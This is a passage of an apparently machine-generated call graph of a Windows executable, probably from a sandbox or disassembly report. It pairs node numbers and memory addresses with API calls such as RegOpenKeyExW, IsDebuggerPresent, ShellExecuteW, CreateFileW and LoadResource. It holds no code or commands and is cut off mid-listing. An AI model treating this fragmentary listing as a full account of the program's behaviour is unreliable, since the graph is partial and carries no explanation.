95550->95553 95552 7ff787b94c68 4 API calls 95551->95552 95552->95553 95553->95518 95555 7ff787b7a87a 95554->95555 95557 7ff787b77a51 RegOpenKeyExW 95554->95557 95556 7ff787b94c68 4 API calls 95555->95556 95556->95557 95557->95523 95557->95527 95559 7ff787b7568c GetModuleFileNameW 95558->95559 95559->95540 95561 7ff787bb8f90 wcsftime 95560->95561 95562 7ff787b756e9 GetFullPathNameW 95561->95562 95563 7ff787bbc03a 95562->95563 95564 7ff787b75712 95562->95564 95565 7ff787b7a854 4 API calls 95563->95565 95566 7ff787b77cf4 4 API calls 95564->95566 95567 7ff787b7571c 95565->95567 95566->95567 95567->95567 95568 7ff787b7dda4 4 API calls 95567->95568 95569 7ff787b75785 95568->95569 95569->95543 95571 7ff787b79640 4 API calls 95570->95571 95572 7ff787b7778f 95571->95572 95577 7ff787b76f24 95572->95577 95575 7ff787b7782c 95576 7ff787b71051 95575->95576 95580 7ff787b77410 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95575->95580 95576->95397 95581 7ff787b76f60 95577->95581 95580->95575 95582 7ff787b76f85 95581->95582 95583 7ff787b76f52 95581->95583 95582->95583 95584 7ff787b76f93 RegOpenKeyExW 95582->95584 95583->95575 95584->95583 95585 7ff787b76faf RegQueryValueExW 95584->95585 95586 7ff787b76fdd 95585->95586 95587 7ff787b76ff5 RegCloseKey 95585->95587 95586->95587 95587->95583 95589 7ff787b95947 GetStartupInfoW 95588->95589 95589->95242 95648 7ff787bab9bc EnterCriticalSection 95590->95648 95592 7ff787b992e4 95593 7ff787baba10 _isindst LeaveCriticalSection 95592->95593 95594 7ff787b7376e 95593->95594 95595 7ff787b99334 95594->95595 95596 7ff787b73778 95595->95596 95597 7ff787b9933d 95595->95597 95601 7ff787b736e8 SystemParametersInfoW SystemParametersInfoW 95596->95601 95649 7ff787ba55d4 15 API calls _get_daylight 95597->95649 95599 7ff787b99342 95650 7ff787bab164 31 API calls _invalid_parameter_noinfo 95599->95650 95601->95279 95603 7ff787b737cd wcsftime 95602->95603 95604 7ff787b79640 4 API calls 95603->95604 95605 7ff787b737dd GetCurrentDirectoryW 95604->95605 95651 7ff787b757a0 95605->95651 95607 7ff787b73807 IsDebuggerPresent 95608 7ff787bbb872 MessageBoxA 95607->95608 95609 7ff787b73815 95607->95609 95610 7ff787bbb894 95608->95610 95609->95610 95611 7ff787b73839 95609->95611 95761 7ff787b7e278 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95610->95761 95725 7ff787b73f04 95611->95725 95615 7ff787b73860 GetFullPathNameW 95616 7ff787b77cf4 4 API calls 95615->95616 95617 7ff787b738a6 95616->95617 95741 7ff787b73f9c 95617->95741 95618 7ff787b738bf 95620 7ff787bbb8dc SetCurrentDirectoryW 95618->95620 95621 7ff787b738c7 95618->95621 95620->95621 95622 7ff787b738d0 95621->95622 95762 7ff787bdd540 AllocateAndInitializeSid CheckTokenMembership FreeSid 95621->95762 95757 7ff787b73b84 7 API calls 95622->95757 95625 7ff787bbb8f8 95625->95622 95628 7ff787bbb90c 95625->95628 95630 7ff787b75680 6 API calls 95628->95630 95629 7ff787b738da 95632 7ff787b76258 46 API calls 95629->95632 95635 7ff787b738ef 95629->95635 95631 7ff787bbb916 95630->95631 95633 7ff787b7ec00 4 API calls 95631->95633 95632->95635 95634 7ff787bbb927 95633->95634 95638 7ff787bbb930 95634->95638 95639 7ff787bbb94d 95634->95639 95636 7ff787b73913 95635->95636 95637 7ff787b75d88 Shell_NotifyIconW 95635->95637 95640 7ff787b7391f SetCurrentDirectoryW 95636->95640 95637->95636 95641 7ff787b771f8 4 API calls 95638->95641 95643 7ff787b771f8 4 API calls 95639->95643 95642 7ff787b73934 Concurrency::wait 95640->95642 95644 7ff787bbb93c 95641->95644 95642->95281 95646 7ff787bbb963 GetForegroundWindow ShellExecuteW 95643->95646 95763 7ff787b77c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 95644->95763 95647 7ff787bbb99f Concurrency::wait 95646->95647 95647->95636 95649->95599 95650->95596 95652 7ff787b79640 4 API calls 95651->95652 95653 7ff787b757d7 95652->95653 95764 7ff787b79bbc 95653->95764 95655 7ff787b757fe 95656 7ff787b75680 6 API calls 95655->95656 95657 7ff787b75812 95656->95657 95658 7ff787b7ec00 4 API calls 95657->95658 95659 7ff787b75823 95658->95659 95778 7ff787b76460 95659->95778 95662 7ff787b7584e Concurrency::wait 95666 7ff787b7e0a8 4 API calls 95662->95666 95663 7ff787bbc05e 95851 7ff787bf2948 95663->95851 95665 7ff787bbc074 95667 7ff787bbc081 95665->95667 95669 7ff787b7652c 63 API calls 95665->95669 95668 7ff787b7586a 95666->95668 95869 7ff787b7652c 95667->95869 95671 7ff787b7ec00 4 API calls 95668->95671 95669->95667 95672 7ff787b75888 95671->95672 95676 7ff787bbc099 95672->95676 95804 7ff787b7eff8 95672->95804 95674 7ff787b758ad Concurrency::wait 95675 7ff787b7ec00 4 API calls 95674->95675 95677 7ff787b758d7 95675->95677 95679 7ff787b75ab4 4 API calls 95676->95679 95677->95676 95678 7ff787b7eff8 46 API calls 95677->95678 95681 7ff787b758fc Concurrency::wait 95678->95681 95680 7ff787bbc0e1 95679->95680 95682 7ff787b75ab4 4 API calls 95680->95682 95684 7ff787b79640 4 API calls 95681->95684 95683 7ff787bbc103 95682->95683 95687 7ff787b75680 6 API calls 95683->95687 95685 7ff787b7591f 95684->95685 95817 7ff787b75ab4 95685->95817 95689 7ff787bbc12b 95687->95689 95691 7ff787b75ab4 4 API calls 95689->95691 95693 7ff787bbc139 95691->95693 95692 7ff787b75941 95692->95676 95694 7ff787b75949 95692->95694 95695 7ff787b7e0a8 4 API calls 95693->95695 95696 7ff787b98e28 wcsftime 37 API calls 95694->95696 95697 7ff787bbc14a 95695->95697 95698 7ff787b75958 95696->95698 95699 7ff787b75ab4 4 API calls 95697->95699 95698->95680 95700 7ff787b75960 95698->95700 95701 7ff787bbc15b 95699->95701 95702 7ff787b98e28 wcsftime 37 API calls 95700->95702 95706 7ff787b7e0a8 4 API calls 95701->95706 95703 7ff787b7596f 95702->95703 95703->95683 95704 7ff787b75977 95703->95704 95705 7ff787b98e28 wcsftime 37 API calls 95704->95705 95708 7ff787b75986 95705->95708 95707 7ff787bbc172 95706->95707 95709 7ff787b75ab4 4 API calls 95707->95709 95710 7ff787b759c6 95708->95710 95712 7ff787b75ab4 4 API calls 95708->95712 95711 7ff787bbc183 95709->95711 95710->95701 95713 7ff787b759d3 95710->95713 95714 7ff787b759a8 95712->95714 95840 7ff787b7df90 95713->95840 95715 7ff787b7e0a8 4 API calls 95714->95715 95716 7ff787b759b5 95715->95716 95718 7ff787b75ab4 4 API calls 95716->95718 95718->95710 95721 7ff787b7d670 5 API calls 95722 7ff787b75a12 95721->95722 95722->95721 95723 7ff787b75ab4 4 API calls 95722->95723 95724 7ff787b75a60 Concurrency::wait 95722->95724 95723->95722 95724->95607 95726 7ff787b73f29 wcsftime 95725->95726 95727 7ff787b73f4b 95726->95727 95728 7ff787bbba2c memcpy_s 95726->95728 95729 7ff787b756d4 5 API calls 95727->95729 95731 7ff787bbba4d GetOpenFileNameW 95728->95731 95730 7ff787b73f56 95729->95730 96213 7ff787b73eb4 95730->96213 95732 7ff787b73858 95731->95732 95733 7ff787bbbab0 95731->95733 95732->95615 95732->95618 95735 7ff787b77cf4 4 API calls 95733->95735 95737 7ff787bbbabc 95735->95737 95739 7ff787b73f6c 96231 7ff787b76394 95739->96231 95742 7ff787b73fb6 wcsftime 95741->95742 96274 7ff787b79734 95742->96274 95744 7ff787b73fc4 95756 7ff787b74050 95744->95756 96284 7ff787b74d28 77 API calls 95744->96284 95746 7ff787b73fd3 95746->95756 96285 7ff787b74b0c 79 API calls Concurrency::wait 95746->96285 95748 7ff787b73fe0 95749 7ff787b73fe8 GetFullPathNameW 95748->95749 95748->95756 95750 7ff787b77cf4 4 API calls 95749->95750 95751 7ff787b74014 95750->95751 95752 7ff787b77cf4 4 API calls 95751->95752 95753 7ff787b74028 95752->95753 95754 7ff787bbbac2 wcscat 95753->95754 95755 7ff787b77cf4 4 API calls 95753->95755 95755->95756 95756->95618 96289 7ff787b73d90 7 API calls 95757->96289 95759 7ff787b738d5 95760 7ff787b73cbc CreateWindowExW CreateWindowExW ShowWindow ShowWindow 95759->95760 95761->95618 95762->95625 95763->95639 95765 7ff787b79be5 wcsftime 95764->95765 95766 7ff787b77cf4 4 API calls 95765->95766 95767 7ff787b79c1b 95765->95767 95766->95767 95770 7ff787b79c4a Concurrency::wait 95767->95770 95875 7ff787b79d84 95767->95875 95769 7ff787b79d84 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95769->95770 95770->95769 95771 7ff787b79d21 95770->95771 95775 7ff787b7ec00 4 API calls 95770->95775 95777 7ff787b74680 4 API calls 95770->95777 95772 7ff787b79d57 Concurrency::wait 95771->95772 95773 7ff787b7ec00 4 API calls 95771->95773 95772->95655 95774 7ff787b79d4a 95773->95774 95776 7ff787b74680 4 API calls 95774->95776 95775->95770 95776->95772 95777->95770 95878 7ff787b76d64 95778->95878 95781 7ff787b7649d 95783 7ff787b764ba FreeLibrary 95781->95783 95784 7ff787b764c0 95781->95784 95782 7ff787b76d64 2 API calls 95782->95781 95783->95784 95882 7ff787ba48e0 95784->95882 95787 7ff787b764db LoadLibraryExW 95901 7ff787b76cc4 95787->95901 95788 7ff787bbc8f6 95790 7ff787b7652c 63 API calls 95788->95790 95792 7ff787bbc8fe 95790->95792 95794 7ff787b76cc4 3 API calls 95792->95794 95796 7ff787bbc907 95794->95796 95795 7ff787b76505 95795->95796 95797 7ff787b76512 95795->95797 95923 7ff787b767d8 95796->95923 95799 7ff787b7652c 63 API calls 95797->95799 95801 7ff787b75846 95799->95801 95801->95662 95801->95663 95803 7ff787bbc93f 96126 7ff787b81a30 95804->96126 95806 7ff787b7f029 95807 7ff787bca7a8 95806->95807 95808 7ff787b7f040 95806->95808 96142 7ff787b7ee20 5 API calls Concurrency::wait 95807->96142 95811 7ff787b94c68 4 API calls 95808->95811 95810 7ff787bca7bc 95812 7ff787b7f066 95811->95812 95814 7ff787b7f08f 95812->95814 96141 7ff787b7f0ec RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95812->96141 96137 7ff787b7f1bc 95814->96137 95816 7ff787b7f0c6 95816->95674 95818 7ff787b75ac6 95817->95818 95819 7ff787b75ae4 95817->95819 95821 7ff787b7e0a8 4 API calls 95818->95821 95820 7ff787b77cf4 4 API calls 95819->95820 95822 7ff787b7592d 95820->95822 95821->95822 95823 7ff787b98e28 95822->95823 95824 7ff787b98e3f 95823->95824 95825 7ff787b98ea4 95823->95825 95834 7ff787b98e63 95824->95834 96144 7ff787ba55d4 15 API calls _get_daylight 95824->96144 96146 7ff787b98d98 35 API calls 2 library calls 95825->96146 95828 7ff787b98ed6 95830 7ff787b98ee2 95828->95830 95838 7ff787b98ef9 95828->95838 95829 7ff787b98e49 96145 7ff787bab164 31 API calls _invalid_parameter_noinfo 95829->96145 96147 7ff787ba55d4 15 API calls _get_daylight 95830->96147 95833 7ff787b98e54 95833->95692 95834->95692 95835 7ff787b98ee7 96148 7ff787bab164 31 API calls _invalid_parameter_noinfo 95835->96148 95836 7ff787ba2c80 37 API calls wcsftime 95836->95838 95838->95836 95839 7ff787b98ef2 95838->95839 95839->95692 95842 7ff787b7dfac 95840->95842 95841 7ff787b94c68 4 API calls 95843 7ff787b759f5 95841->95843 95842->95841 95842->95843 95844 7ff787b7d670 95843->95844 95845 7ff787b7d698 95844->95845 95849 7ff787b7d6a2 95845->95849 96149 7ff787b7880c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95845->96149 95848 7ff787bc9d43 95850 7ff787b7d7de 95849->95850 96150 7ff787b7ee20 5 API calls Concurrency::wait 95849->96150 95850->95722 95852 7ff787bf29c8 95851->95852 96151 7ff787bf2b70 95852->96151 95855 7ff787b767d8 45 API calls 95856 7ff787bf2a03 95855->95856 95857 7ff787b767d8 45 API calls 95856->95857 95858 7ff787bf2a23 95857->95858 95859 7ff787b767d8 45 API calls 95858->95859 95860 7ff787bf2a49 95859->95860 95861 7ff787b767d8 45 API calls 95860->95861 95862 7ff787bf2a6d 95861->95862 95863 7ff787b767d8 45 API calls 95862->95863 95864 7ff787bf2ac5 95863->95864 95865 7ff787bf240c 32 API calls 95864->95865 95866 7ff787bf2ada 95865->95866 95868 7ff787bf29de 95866->95868 96156 7ff787bf1d48 95866->96156 95868->95665 95870 7ff787b7653d 95869->95870 95871 7ff787b76542 95869->95871 95872 7ff787ba4970 62 API calls 95870->95872 95873 7ff787b76558 95871->95873 95874 7ff787b7656f FreeLibrary 95871->95874 95872->95871 95873->95676 95874->95873 95876 7ff787b7a7c0 4 API calls 95875->95876 95877 7ff787b79d99 95876->95877 95877->95767 95879 7ff787b76490 95878->95879 95880 7ff787b76d74 LoadLibraryA 95878->95880 95879->95781 95879->95782 95880->95879 95881 7ff787b76d89 GetProcAddress 95880->95881 95881->95879 95883 7ff787ba47fc 95882->95883 95884 7ff787ba482a 95883->95884 95887 7ff787ba485c 95883->95887 95943 7ff787ba55d4 15 API calls _get_daylight 95884->95943 95886 7ff787ba482f 95944 7ff787bab164 31 API calls _invalid_parameter_noinfo 95886->95944 95889 7ff787ba486f 95887->95889 95890 7ff787ba4862 95887->95890 95931 7ff787bafeb4 95889->95931 95945 7ff787ba55d4 15 API calls _get_daylight 95890->95945 95891 7ff787b764cf 95891->95787 95891->95788 95895 7ff787ba4890 95938 7ff787bb0304 95895->95938 95896 7ff787ba4883 95946 7ff787ba55d4 15 API calls _get_daylight 95896->95946 95899 7ff787ba48a3 95947 7ff787b9df60 LeaveCriticalSection 95899->95947 96085 7ff787b76d1c 95901->96085 95904 7ff787b76d1c 2 API calls 95907 7ff787b76cf1 95904->95907 95905 7ff787b764f7 95908 7ff787b76580 95905->95908 95906 7ff787b76d0f FreeLibrary 95906->95905 95907->95905 95907->95906 95909 7ff787b94c68 4 API calls 95908->95909 95910 7ff787b765b5 memcpy_s 95909->95910 95912 7ff787bbc9f5 95910->95912 95913 7ff787b76740 CreateStreamOnHGlobal 95910->95913 95916 7ff787b76602 95910->95916 95911 7ff787bbc9fd 95921 7ff787b767d8 45 API calls 95911->95921 96089 7ff787bf2e00 45 API calls 95912->96089 95915 7ff787b76759 FindResourceExW 95913->95915 95913->95916 95915->95916 95916->95911 95917 7ff787bbc97e LoadResource 95916->95917 95918 7ff787b767d8 45 API calls 95916->95918 95922 7ff787b766e8 95916->95922 95917->95916 95919 7ff787bbc997 SizeofResource 95917->95919 95918->95916 95919->95916 95920 7ff787bbc9ae LockResource 95919->95920 95920->95916 95921->95922 95922->95795 95924 7ff787b767f7 95923->95924 95925 7ff787bbca6c 95923->95925 96090 7ff787ba4c5c 95924->96090 95928 7ff787bf240c 96109 7ff787bf2200 95928->96109 95930 7ff787bf2430 95930->95803 95948 7ff787bab9bc EnterCriticalSection 95931->95948 95933 7ff787bafecb 95934 7ff787baff54 18 API calls 95933->95934 95935 7ff787bafed6 95934->95935 95936 7ff787baba10 _isindst LeaveCriticalSection 95935->95936 95937 7ff787ba4879 95936->95937 95937->95895 95937->95896 95949 7ff787bb0040 95938->95949 95941 7ff787bb035e 95941->95899 95943->95886 95944->95891 95945->95891 95946->95891 95954 7ff787bb007d try_get_function 95949->95954 95951 7ff787bb02de 95968 7ff787bab164 31 API calls _invalid_parameter_noinfo 95951->95968 95953 7ff787bb021a 95953->95941 95961 7ff787bb7738 95953->95961 95957 7ff787bb0211 95954->95957 95964 7ff787b9db68 37 API calls 4 library calls 95954->95964 95956 7ff787bb0277 95956->95957 95965 7ff787b9db68 37 API calls 4 library calls 95956->95965 95957->95953 95967 7ff787ba55d4 15 API calls _get_daylight 95957->95967 95959 7ff787bb029a 95959->95957 95966 7ff787b9db68 37 API calls 4 library calls 95959->95966 95969 7ff787bb6d04 95961->95969 95964->95956 95965->95959 95966->95957 95967->95951 95968->95953 95970 7ff787bb6d40 95969->95970 95971 7ff787bb6d28 95969->95971 95970->95971 95974 7ff787bb6d6d 95970->95974 96023 7ff787ba55d4 15 API calls _get_daylight 95971->96023 95973 7ff787bb6d2d 96024 7ff787bab164 31 API calls _invalid_parameter_noinfo 95973->96024 95980 7ff787bb7348 95974->95980 95978 7ff787bb6d39 95978->95941 96026 7ff787bb7078 95980->96026 95983 7ff787bb73d3 96046 7ff787bae418 95983->96046 95984 7ff787bb73bc 96058 7ff787ba55b4 15 API calls _get_daylight 95984->96058 95988 7ff787bb73c1 96059 7ff787ba55d4 15 API calls _get_daylight 95988->96059 95989 7ff787bb73df 96060 7ff787ba55b4 15 API calls _get_daylight 95989->96060 95990 7ff787bb73f7 CreateFileW 95992 7ff787bb7469 95990->95992 95993 7ff787bb74eb GetFileType 95990->95993 95998 7ff787bb74b8 GetLastError 95992->95998 96002 7ff787bb7478 CreateFileW 95992->96002 95995 7ff787bb7549 95993->95995 95996 7ff787bb74f8 GetLastError 95993->95996 96065 7ff787bae334 16 API calls 2 library calls 95995->96065 96063 7ff787ba5564 15 API calls 2 library calls 95996->96063 95997 7ff787bb73e4 96061 7ff787ba55d4 15 API calls _get_daylight 95997->96061 96062 7ff787ba5564 15 API calls 2 library calls 95998->96062 95999 7ff787bb6d95 95999->95978 96025 7ff787bae3f4 LeaveCriticalSection 95999->96025 96002->95993 96002->95998 96004 7ff787bb7507 CloseHandle 96004->95988 96005 7ff787bb7539 96004->96005 96064 7ff787ba55d4 15 API calls _get_daylight 96005->96064 96008 7ff787bb7568 96010 7ff787bb75b5 96008->96010 96066 7ff787bb7284 67 API calls 2 library calls 96008->96066 96009 7ff787bb753e 96009->95988 96014 7ff787bb75ec 96010->96014 96067 7ff787bb6de4 67 API calls 4 library calls 96010->96067 96013 7ff787bb75e8 96013->96014 96015 7ff787bb75fe 96013->96015 96068 7ff787bb04b8 96014->96068 96015->95999 96017 7ff787bb7681 CloseHandle CreateFileW 96015->96017 96018 7ff787bb76f9 96017->96018 96019 7ff787bb76cb GetLastError 96017->96019 96018->95999 96083 7ff787ba5564 15 API calls 2 library calls 96019->96083 96021 7ff787bb76d8 96084 7ff787bae548 16 API calls 2 library calls 96021->96084 96023->95973 96024->95978 96027 7ff787bb70a4 96026->96027 96029 7ff787bb70be 96026->96029 96028 7ff787ba55d4 _get_daylight 15 API calls 96027->96028 96027->96029 96030 7ff787bb70b3 96028->96030 96032 7ff787bb713b 96029->96032 96037 7ff787ba55d4 _get_daylight 15 API calls 96029->96037 96031 7ff787bab164 _invalid_parameter_noinfo 31 API calls 96030->96031 96031->96029 96033 7ff787bb718c 96032->96033 96035 7ff787ba55d4 _get_daylight 15 API calls 96032->96035 96034 7ff787ba2554 31 API calls 96033->96034 96044 7ff787bb71ec 96033->96044 96036 7ff787bb71e8 96034->96036 96038 7ff787bb7181 96035->96038 96039 7ff787bb726b 96036->96039 96036->96044 96040 7ff787bb7130 96037->96040 96041 7ff787bab164 _invalid_parameter_noinfo 31 API calls 96038->96041 96042 7ff787bab184 _isindst 16 API calls 96039->96042 96043 7ff787bab164 _invalid_parameter_noinfo 31 API calls 96040->96043 96041->96033 96045 7ff787bb7280 96042->96045 96043->96032 96044->95983 96044->95984 96047 7ff787bab9bc _isindst EnterCriticalSection 96046->96047 96048 7ff787bae43b 96047->96048 96050 7ff787bae464 96048->96050 96054 7ff787bae4c2 EnterCriticalSection 96048->96054 96057 7ff787bae487 96048->96057 96049 7ff787baba10 _isindst LeaveCriticalSection 96051 7ff787bae52a 96049->96051 96052 7ff787bae170 16 API calls 96050->96052 96051->95989 96051->95990 96053 7ff787bae469 96052->96053 96055 7ff787bae310 wprintf EnterCriticalSection 96053->96055 96053->96057 96056 7ff787bae4d1 LeaveCriticalSection 96054->96056 96054->96057 96055->96057 96056->96048 96057->96049 96058->95988 96059->95999 96060->95997 96061->95988 96062->95988 96063->96004 96064->96009 96065->96008 96066->96010 96067->96013 96069 7ff787bae604 31 API calls 96068->96069 96072 7ff787bb04cc 96069->96072 96070 7ff787bb04d2 96071 7ff787bae548 16 API calls 96070->96071 96073 7ff787bb0534 96071->96073 96072->96070 96074 7ff787bae604 31 API calls 96072->96074 96082 7ff787bb050c 96072->96082 96076 7ff787bb0560 96073->96076 96079 7ff787ba5564 fread_s 15 API calls 96073->96079 96077 7ff787bb04ff 96074->96077 96075 7ff787bae604 31 API calls 96078 7ff787bb0518 CloseHandle 96075->96078 96076->95999 96080 7ff787bae604 31 API calls 96077->96080 96078->96070 96081 7ff787bb0525 GetLastError 96078->96081 96079->96076 96080->96082 96081->96070 96082->96070 96082->96075 96083->96021 96084->96018 96086 7ff787b76d2c LoadLibraryA 96085->96086 96087 7ff787b76ce3 96085->96087 96086->96087 96088 7ff787b76d41 GetProcAddress 96086->96088 96087->95904 96087->95907 96088->96087 96089->95911 96093 7ff787ba4c7c 96090->96093 96094 7ff787b7680a 96093->96094 96095 7ff787ba4ca6 96093->96095 96094->95928 96095->96094 96096 7ff787ba4cb5 memcpy_s 96095->96096 96097 7ff787ba4cd7 96095->96097 96106 7ff787ba55d4 15 API calls _get_daylight 96096->96106 96108 7ff787b9df54 EnterCriticalSection 96097->96108 96101 7ff787ba4cca 96107 7ff787bab164 31 API calls _invalid_parameter_noinfo 96101->96107 96106->96101 96107->96094 96112 7ff787ba47bc 96109->96112 96111 7ff787bf2210 96111->95930 96115 7ff787ba4724 96112->96115 96116 7ff787ba4732 96115->96116 96117 7ff787ba4746 96115->96117 96123 7ff787ba55d4 15 API calls _get_daylight 96116->96123 96122 7ff787ba4742 96117->96122 96125 7ff787babef8 6 API calls __vcrt_uninitialize_ptd 96117->96125 96119 7ff787ba4737 96124 7ff787bab164 31 API calls _invalid_parameter_noinfo 96119->96124 96122->96111 96123->96119 96124->96122 96125->96122 96127 7ff787b81a48 96126->96127 96128 7ff787b81c5f 96126->96128 96133 7ff787b81a90 96127->96133 96143 7ff787b95114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 96127->96143 96128->95806 96133->95806 96138 7ff787b7f1ce 96137->96138 96140 7ff787b7f1d8 96137->96140 96139 7ff787b81a30 45 API calls 96138->96139 96139->96140 96140->95816 96141->95814 96142->95810 96144->95829 96145->95833 96146->95828 96147->95835 96148->95839 96149->95849 96150->95848 96155 7ff787bf2bae 96151->96155 96152 7ff787bf29da 96152->95855 96152->95868 96153 7ff787b767d8 45 API calls 96153->96155 96154 7ff787bf240c 32 API calls 96154->96155 96155->96152 96155->96153 96155->96154 96157 7ff787bf1d61 96156->96157 96158 7ff787bf1d71 96156->96158 96159 7ff787ba48e0 89 API calls 96157->96159 96160 7ff787bf1dbf 96158->96160 96161 7ff787ba48e0 89 API calls 96158->96161 96166 7ff787bf1d7a 96158->96166 96159->96158 96183 7ff787bf2038 96160->96183 96162 7ff787bf1d9e 96161->96162 96162->96160 96167 7ff787bf1da7 96162->96167 96164 7ff787bf1df5 96165 7ff787bf1df9 96164->96165 96169 7ff787bf1e1c 96164->96169 96168 7ff787bf1e07 96165->96168 96171 7ff787ba4970 62 API calls 96165->96171 96166->95868 96167->96166 96195 7ff787ba4970 96167->96195 96168->96166 96172 7ff787ba4970 62 API calls 96168->96172 96173 7ff787bf1e4a 96169->96173 96174 7ff787bf1e2a 96169->96174 96171->96168 96172->96166 96187 7ff787bf1e88 96173->96187 96176 7ff787bf1e38 96174->96176 96177 7ff787ba4970 62 API calls 96174->96177 96176->96166 96178 7ff787ba4970 62 API calls 96176->96178 96177->96176 96178->96166 96179 7ff787bf1e52 96180 7ff787bf1e68 96179->96180 96181 7ff787ba4970 62 API calls 96179->96181 96180->96166 96182 7ff787ba4970 62 API calls 96180->96182 96181->96180 96182->96166 96184 7ff787bf2069 96183->96184 96186 7ff787bf2056 memcpy_s 96183->96186 96185 7ff787ba4c5c _fread_nolock 45 API calls 96184->96185 96185->96186 96186->96164 96188 7ff787bf1fb0 96187->96188 96193 7ff787bf1eaa 96187->96193 96190 7ff787bf1fd3 96188->96190 96209 7ff787ba2a04 60 API calls 2 library calls 96188->96209 96190->96179 96191 7ff787bf1bd0 45 API calls 96191->96193 96193->96188 96193->96190 96193->96191 96193->96193 96207 7ff787bf1c9c 45 API calls 96193->96207 96208 7ff787bf20cc 60 API calls 96193->96208 96196 7ff787ba49a3 96195->96196 96197 7ff787ba498e 96195->96197 96198 7ff787ba499e 96196->96198 96210 7ff787b9df54 EnterCriticalSection 96196->96210 96211 7ff787ba55d4 15 API calls _get_daylight 96197->96211 96198->96166 96200 7ff787ba4993 96212 7ff787bab164 31 API calls _invalid_parameter_noinfo 96200->96212 96203 7ff787ba49b9 96204 7ff787ba48ec 60 API calls 96203->96204 96205 7ff787ba49c2 96204->96205 96206 7ff787b9df60 fread_s LeaveCriticalSection 96205->96206 96206->96198 96207->96193 96208->96193 96209->96190 96211->96200 96212->96198 96214 7ff787bb8f90 wcsftime 96213->96214 96215 7ff787b73ec4 GetLongPathNameW 96214->96215 96216 7ff787b77cf4 4 API calls 96215->96216 96217 7ff787b73eed 96216->96217 96218 7ff787b74074 96217->96218 96219 7ff787b79640 4 API calls 96218->96219 96220 7ff787b7408e 96219->96220 96221 7ff787b756d4 5 API calls 96220->96221 96222 7ff787b7409b 96221->96222 96223 7ff787b740a7 96222->96223 96224 7ff787bbbada 96222->96224 96225 7ff787b74680 4 API calls 96223->96225 96229 7ff787bbbb0f 96224->96229 96265 7ff787b91ad0 CompareStringW 96224->96265 96227 7ff787b740b5 96225->96227 96261 7ff787b740e8 96227->96261 96230 7ff787b740cb Concurrency::wait 96230->95739 96232 7ff787b76460 105 API calls 96231->96232 96233 7ff787b763e5 96232->96233 96234 7ff787bbc656 96233->96234 96236 7ff787b76460 105 API calls 96233->96236 96235 7ff787bf2948 90 API calls 96234->96235 96237 7ff787bbc66e 96235->96237 96238 7ff787b76400 96236->96238 96239 7ff787bbc672 96237->96239 96240 7ff787bbc690 96237->96240 96238->96234 96241 7ff787b76408 96238->96241 96242 7ff787b7652c 63 API calls 96239->96242 96243 7ff787b94c68 4 API calls 96240->96243 96244 7ff787b76414 96241->96244 96245 7ff787bbc67b 96241->96245 96242->96245 96260 7ff787bbc6dd Concurrency::wait 96243->96260 96266 7ff787b7e774 143 API calls Concurrency::wait 96244->96266 96267 7ff787bec5c8 77 API calls wprintf 96245->96267 96248 7ff787bbc68a 96248->96240 96249 7ff787b76438 96249->95732 96250 7ff787bbc895 96251 7ff787b7652c 63 API calls 96250->96251 96259 7ff787bbc8a9 96251->96259 96256 7ff787b7ec00 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96256->96260 96259->96250 96273 7ff787be76d8 77 API calls 3 library calls 96259->96273 96260->96250 96260->96256 96260->96259 96268 7ff787be7400 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96260->96268 96269 7ff787be730c 39 API calls 96260->96269 96270 7ff787bf0210 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96260->96270 96271 7ff787b7b26c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96260->96271 96272 7ff787b79940 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96260->96272 96262 7ff787b74107 96261->96262 96264 7ff787b74130 memcpy_s 96261->96264 96263 7ff787b94c68 4 API calls 96262->96263 96263->96264 96264->96230 96265->96224 96266->96249 96267->96248 96268->96260 96269->96260 96270->96260 96271->96260 96272->96260 96273->96259 96275 7ff787b79762 96274->96275 96279 7ff787b7988d 96274->96279 96276 7ff787b94c68 4 API calls 96275->96276 96275->96279 96278 7ff787b79791 96276->96278 96277 7ff787b94c68 4 API calls 96283 7ff787b7981c 96277->96283 96278->96277 96279->95744 96283->96279 96286 7ff787b7abe0 81 API calls 2 library calls 96283->96286 96287 7ff787b79940 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96283->96287 96288 7ff787b7b26c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96283->96288 96284->95746 96285->95748 96286->96283 96287->96283 96288->96283 96289->95759 96290 7ff787b98fac 96291 7ff787b98fd2 GetModuleHandleW 96290->96291 96292 7ff787b9901c 96290->96292 96291->96292 96296 7ff787b98fdf 96291->96296 96307 7ff787bab9bc EnterCriticalSection 96292->96307 96294 7ff787baba10 _isindst LeaveCriticalSection 96297 7ff787b990f0 96294->96297 96295 7ff787b99026 96299 7ff787b990a0 96295->96299 96303 7ff787baaa8c 30 API calls 96295->96303 96306 7ff787b990cb 96295->96306 96296->96292 96308 7ff787b99164 GetModuleHandleExW 96296->96308 96298 7ff787b990fc 96297->96298 96304 7ff787b99118 11 API calls 96297->96304 96300 7ff787b990b8 96299->96300 96301 7ff787baada4 75 API calls 96299->96301 96302 7ff787baada4 75 API calls 96300->96302 96301->96300 96302->96306 96303->96299 96304->96298 96306->96294 96309 7ff787b991b5 96308->96309 96310 7ff787b9918e GetProcAddress 96308->96310 96311 7ff787b991bf FreeLibrary 96309->96311 96312 7ff787b991c5 96309->96312 96310->96309 96313 7ff787b991a8 96310->96313 96311->96312 96312->96292 96313->96309 96314 7ff787b847e1 96315 7ff787b84d57 96314->96315 96319 7ff787b847f2 96314->96319 96345 7ff787b7ee20 5 API calls Concurrency::wait 96315->96345 96317 7ff787b84d66 96346 7ff787b7ee20 5 API calls Concurrency::wait 96317->96346 96319->96317 96320 7ff787b84862 96319->96320 96321 7ff787b84df3 96319->96321 96323 7ff787b866c0 300 API calls 96320->96323 96342 